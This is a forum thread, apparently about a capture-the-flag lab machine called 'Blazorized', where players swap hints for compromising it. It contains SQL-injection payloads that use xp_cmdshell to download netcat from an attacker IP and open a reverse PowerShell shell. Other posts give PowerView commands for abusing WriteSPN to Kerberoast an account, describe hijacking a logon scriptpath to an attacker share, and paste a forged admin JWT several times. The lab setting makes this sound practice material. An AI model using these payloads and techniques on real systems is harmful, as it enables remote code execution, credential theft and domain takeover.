[bmoon10]

Wow, 10+ minutes to be able to get the spn hash

---

SSA_6010 attempts to log in every minute. As mentioned earlier, the scriptpath attribute is writable by RSA_4810. I've updated it to \\10.10.X.X\rev.ps1, but there have been no connections

https://book.hacktricks.xyz/windows-hard...te-on-user

How did you found that?

see the SSA_6010 user lastlogon property it keeps changing.

[bmoon10]

if you are able to get the ssa_6010 user shell then you are 90% done and rubeus.exe and mimikatz will help you with the remaining tasks. good luck folks

[maggi]

for sql reverse shell


'; IF (SELECT CONVERT(INT, value_in_use) FROM sys.configurations WHERE name = 'xp_cmdshell') = 1    EXEC master.dbo.xp_cmdshell 'powershell -c "curl http://10.10.X.X:8080/nc64.exe -o %TEMP%\nc.exe" --


'; IF (SELECT CONVERT(INT, value_in_use) FROM sys.configurations WHERE name = 'xp_cmdshell') = 1    EXEC master.dbo.xp_cmdshell ' %TEMP%\nc.exe 10.10.X.X 4444 -e powershell --

nishang works nicley, no AV

[BahsbFAISfjhb]

Now simple commands are just failing for me. Getting sick of this box lol

*Evil-WinRM* PS C:\Users\RSA_4810\Documents> ipmo ActiveDirectory
*Evil-WinRM* PS C:\Users\RSA_4810\Documents> Get-ADUser SSA_6010 -Properties ScriptPath
Server instance not found on the given port.
At line:1 char:1
+ Get-ADUser SSA_6010 -Properties ScriptPath
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (SSA_6010:ADUser) [Get-ADUser], ArgumentException
+ FullyQualifiedErrorId : ActiveDirectoryCmdlet:System.ArgumentException,Microsoft.ActiveDirectory.Management.Commands.GetADUser

[maggi]

anyone have a hint for RSA, I keep getting a ticket for nonexistant

[maggi]

i am at Remote_Support_Administrators user now. any nudge for root?

I'm in the same place. You can abuse WriteSPN to get the hash of RSA_4810 and crack it. Check Bloodhound for details.
I have noticed RSA_4810 can write to
C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23
C:\Windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23

No idea if that's useful.

How did you get NU_1055 password? NTLMv2-SSP Hash isn't crackable

You don't need it.

Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
Get-DomainSPNTicket -SPN nonexistent/BLAHBLAH

Does resulting passwd have space in it? Output of hashcat show password like this: "Ex@mPl3 #"
This accurate? I cannot use resulting hash cracked to auth via smb/winrm/etc... with RSA_4810 user

same, even the # too, so I am going out on a limb here, but I think we goofed up the same thing up.

T think the hash is for whatever/blahblah....well I made mine kittycat/MOEWMOEW, soI think we got the wrong user given we got the same results; unles you were using meowmoew too?

[fuliye]

any something hint for user flag ？and the jwt how to use it

[osamy7593]

guys i put jwt in local storage but still unauthorized why??

[node]

guys i put jwt in local storage but still unauthorized why??

try putting the name to jwt and value to eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlN1cGVyX0FkbWluIl0sImV4cCI6MTcyMDcwNjg3OSwiaXNzIjoiaHR0cDovL2FwaS5ibGF6b3JpemVkLmh0YiIsImF1ZCI6Imh0dHA6Ly9hZG1pbi5ibGF6b3JpemVkLmh0YiIsImlhdCI6MTcxOTc2MTAyMH0.s54_IJkT0PCdfL3dH8YeTeom3seCA3MAamK6ZVXT6CBTFEq6EbZ4DQxzRaXtvUS6XTnRTBbuCiPHTC7hynexDQ

[osamy7593]

guys i put jwt in local storage but still unauthorized why??

try putting the name to jwt and value to eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlN1cGVyX0FkbWluIl0sImV4cCI6MTcyMDcwNjg3OSwiaXNzIjoiaHR0cDovL2FwaS5ibGF6b3JpemVkLmh0YiIsImF1ZCI6Imh0dHA6Ly9hZG1pbi5ibGF6b3JpemVkLmh0YiIsImlhdCI6MTcxOTc2MTAyMH0.s54_IJkT0PCdfL3dH8YeTeom3seCA3MAamK6ZVXT6CBTFEq6EbZ4DQxzRaXtvUS6XTnRTBbuCiPHTC7hynexDQ

not work also

---

guys i put jwt in local storage but still unauthorized why??

try putting the name to jwt and value to eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlN1cGVyX0FkbWluIl0sImV4cCI6MTcyMDcwNjg3OSwiaXNzIjoiaHR0cDovL2FwaS5ibGF6b3JpemVkLmh0YiIsImF1ZCI6Imh0dHA6Ly9hZG1pbi5ibGF6b3JpemVkLmh0YiIsImlhdCI6MTcxOTc2MTAyMH0.s54_IJkT0PCdfL3dH8YeTeom3seCA3MAamK6ZVXT6CBTFEq6EbZ4DQxzRaXtvUS6XTnRTBbuCiPHTC7hynexDQ

in http://admin.blazorized.htb/sign-in
in local storage jwt:ey........ after that i refreash the page
not work it tells unauth